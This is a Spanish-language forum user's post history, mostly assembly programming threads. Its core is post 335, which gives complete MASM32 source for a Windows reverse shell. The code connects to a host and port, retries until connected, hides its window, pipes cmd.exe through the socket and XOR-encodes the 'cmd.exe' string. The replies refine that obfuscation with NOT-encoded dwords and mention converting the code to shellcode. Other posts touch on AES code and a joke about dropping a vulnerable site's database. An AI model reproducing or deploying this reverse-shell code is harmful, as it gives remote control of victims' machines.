|
331
|
Programación / ASM / Re: Remote Shell (Masm32)
|
en: 15 Mayo 2014, 22:41 pm
|
notl _cmd notl _cmd+4 leal _cmd, %eax Puede que sea por mi ignorancia.. pero no se puede hacer eso en masm por eso moví el dword a eax y le aplique el not, luego el segundo dword. Con respecto a las estructuras, bueno.. la primera la conseguí, pero para ser sincero solo por probar (puede que en otra situación tenga que hacerlo así, si o si) pero convengamos que el código queda mas limpio usando las estructuras declaradas por el SO, y no se ahorra mucho en tamaño ni en instrucciones.. Igual esta bueno saber manejar estructuras con etiquetas.. para lo que yo pretendo hacer (cuando tenga mas claras las cosas) me va a venir impecable saber eso Gracias!! Saludos! CORRECION:Pero si se puede hacer esto: not dword ptr ds:[CLine] not dword ptr ds:[CLine + 4]
|
|
|
333
|
Programación / ASM / Re: Remote Shell (Masm32)
|
en: 15 Mayo 2014, 01:55 am
|
Ya viniste a complicarme la vida.. jajaja Na.. genial! Pero ahora que tiraste la piedra me das una mano.. jeje "cmd.exe0" = 636D642E65786500 Hex Ok.. hasta ahí todo bien.. entiendo el not, pero no puedo aplicárselo a un tipo tan largo me dice.. ¬¬ Y con lo de la estructura no caigo: ;esto se hace asi, no queda otra.. mov _StartupinfoA.hStdInput, eax mov _StartupinfoA.hStdOutput, eax mov _StartupinfoA.hStdError, eax ;Esto otro hacerlo en .data.. pero como carambanos¿? mov _StartupinfoA.wShowWindow, SW_HIDE mov _StartupinfoA.dwFlags, STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES mov _StartupinfoA.cb, sizeof _StartupinfoA
EDIT: mov eax, 9C929BD1h not eax mov eax, 9A879AFFh not eax
Ahi esta "noteada" la cadena, le aplico el not para convertirla a "cmd.exe".. pero como la guardo/uso devuelta?? EDIT2: mov eax, 0D19B929Ch not eax mov dword ptr ds:[NuevaLinea], eax mov eax, 0FF9A879Ah not eax mov dword ptr ds:[NuevaLinea + 4], eax
Bueno!!! Asi funciona.. pero.. es lo mas adecuado/Optimo? Gracias man!! Me pusiste a pensar! Saludos!
|
|
|
334
|
Programación / ASM / Re: Remote Shell (Masm32)
|
en: 15 Mayo 2014, 00:34 am
|
Doy por sentado de que no es una shellcode, ya que estas usando la sección .data. Verdad.. quería un código ejecutable, igual pasarlo a shellcode no es complicado.. Veo algunas cosas que se pueden mejorar, por ejemplo la estructura sockaddr_in, ya que estas usando .data por que no cargas directamente la estructura en ella? No había logrado hacer eso.. pero luego de tu sugerencia conseguí hacer así: _Sockaddrin: sin_family: word 0002h ; -> AF_INET sin_port: word 0b822h ; -> 8888 sin_addr: dword 100007Fh ; -> 127.0.0.1
invoke connect, ebx, _Sockaddrin, 16
Pero tengo problemas con Startupinfo.. porque seria algo asi: _StartupinfoA: hStdInput: dword eax hStdOutput: dword eax hStdError: dword eax
Donde eax contiene el handle que lo recibe de WSASocket (como bien decías en el comentario..) El asunto esta clarisimo, no se puede hacer eso de esa manera.. :S push offset _Comandline pop eax
Por que haces eso? No es mejor cargar directamente el offset a eax, que subirlo al stack y luego bajarlo? Ha si, si.. totalmente.. eso quedo mal de una funcion que habia probado.. corregido seria: mov eax, offset _Comandline
Y el loop para cmd.exe, lo encuentro una tonteria con todo mi respeto, si es una cosa simple como esa, cargala con not y luego en el code con 2 ya la tienes lista. Not te entendi jaja el loop para conectar? o el del xor?
|
|
|
335
|
Programación / ASM / Remote Shell (Masm32)
|
en: 14 Mayo 2014, 21:37 pm
|
Hola.. aporto con un codigo en masm.. no hay mucho que aclarar.. .386 .model flat, stdcall option casemap:none include windows.inc include kernel32.inc includelib kernel32.lib ; ---------------------- include ws2_32.inc includelib ws2_32.lib ; ---------------------- .data? _Wsadata WSADATA <> _Sockaddrin sockaddr_in <> _Processinfo PROCESS_INFORMATION <> _StartupinfoA STARTUPINFOA <> .data _Comandline db "djc)bb", 0 ; -> cmd.exe xor 7 .code _Start: ; SOCKET mov eax, 100007Fh ; -> 127.0.0.1 mov _Sockaddrin.sin_port, 0b822h ; -> 8888 mov _Sockaddrin.sin_addr, eax mov _Sockaddrin.sin_family, AF_INET invoke WSAStartup, 202h, addr _Wsadata invoke WSASocket, AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 ; SHELL mov _StartupinfoA.hStdInput, eax mov _StartupinfoA.hStdOutput, eax mov _StartupinfoA.hStdError, eax mov _StartupinfoA.wShowWindow, SW_HIDE mov _StartupinfoA.dwFlags, STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES mov _StartupinfoA.cb, sizeof _StartupinfoA mov ebx, eax ; Guardo el Socket Handle ; CONNECT _noconnect: invoke connect, ebx, addr _Sockaddrin, sizeof _Sockaddrin or eax, eax jnz _noconnect ; DECRYPT xor ecx, ecx push offset _Comandline pop eax _nozero: cmp byte ptr ds:[eax + ecx], 0 je _zero xor byte ptr ds:[eax + ecx], 7 inc ecx jmp _nozero _zero: invoke CreateProcessA, NULL, addr _Comandline, NULL, NULL, TRUE, 0, NULL, NULL, addr _StartupinfoA, addr _Processinfo invoke ExitProcess, 0 end _Start
Suerte!! Saludos!
|
|
|
336
|
Seguridad Informática / Criptografía / Re: AES 128 bits Encrypt [ASM Bit slice]
|
en: 14 Mayo 2014, 19:15 pm
|
Lo publicaste nomas! Te pasaste! Yo no entiendo la mayoría de esas instrucciones, y lo que vi del cifrado AES es poco, así que te imaginas que no entiendo nada de lo que veo ahí.. Pero te felicito nuevamente! Se que a veces no es fácil desprenderse de un code.. esperemos se respete el autor.
Pregunta.. cual seria el punto de entrada ahí? Como le indicarías que cifrar?
Saludos!! Felicidades!
|
|
|
338
|
Programación / Ingeniería Inversa / Re: Que tipo de cifrado es este? (24 caracteres)
|
en: 10 Mayo 2014, 02:06 am
|
va contra las reglas del foro los temas ilegales o no éticos -.- Es solo practica.. El sitio es de hace 8 años (2006) Yo creo que en este caso,, ya que el dueño no lo soluciono en 8 años al problema se merece un DROP DATABASE!! Bueno,,, en realidad no.. mejor monta un server para hacer pruebas.. Saludos!
|
|
|
339
|
Seguridad Informática / Seguridad / Re: Como encuentran las autoridades a los creadores de virus
|
en: 10 Mayo 2014, 01:41 am
|
La mayoría de veces los creadores han cometido pequeños errores en strings o el virus se conecta a algún sitio para actualizarse Ta.. que se conecte a un servidor, y algun boludo haya dejado sus datos lo puedo entender.. pero error en un string??? Ponele que si puso "horeja", sabemos que no sabe escribir.. es una pista importante??
|
|
|
340
|
Programación / ASM / Re: PE mas PEqueños..
|
en: 10 Mayo 2014, 01:04 am
|
No entiendo eso de "no te lo permite en una sola linea", yo puedo añadir los bytes que quiera en cualquier parte de .text ".code". En realidad es un tema de sintaxis.. ej: cadena: db "cmd.exe", 0 -> db syntax error
Pero si lo hago asi: cadena: db "cmd.exe", 0
No es porque no se pueda.. es un tema de sintaxis nomas.. Ya corrobore que los db que quedan en el código son las estructuras,, así que no se puede reducir mas, y si se puede serán unos bytes.. no me caliento mas jaja Me parece que el formato ELF es menos exigente con el formato.. en win, un cambio inesperado y se pudre el PE..
|
|
|
|
|
|
|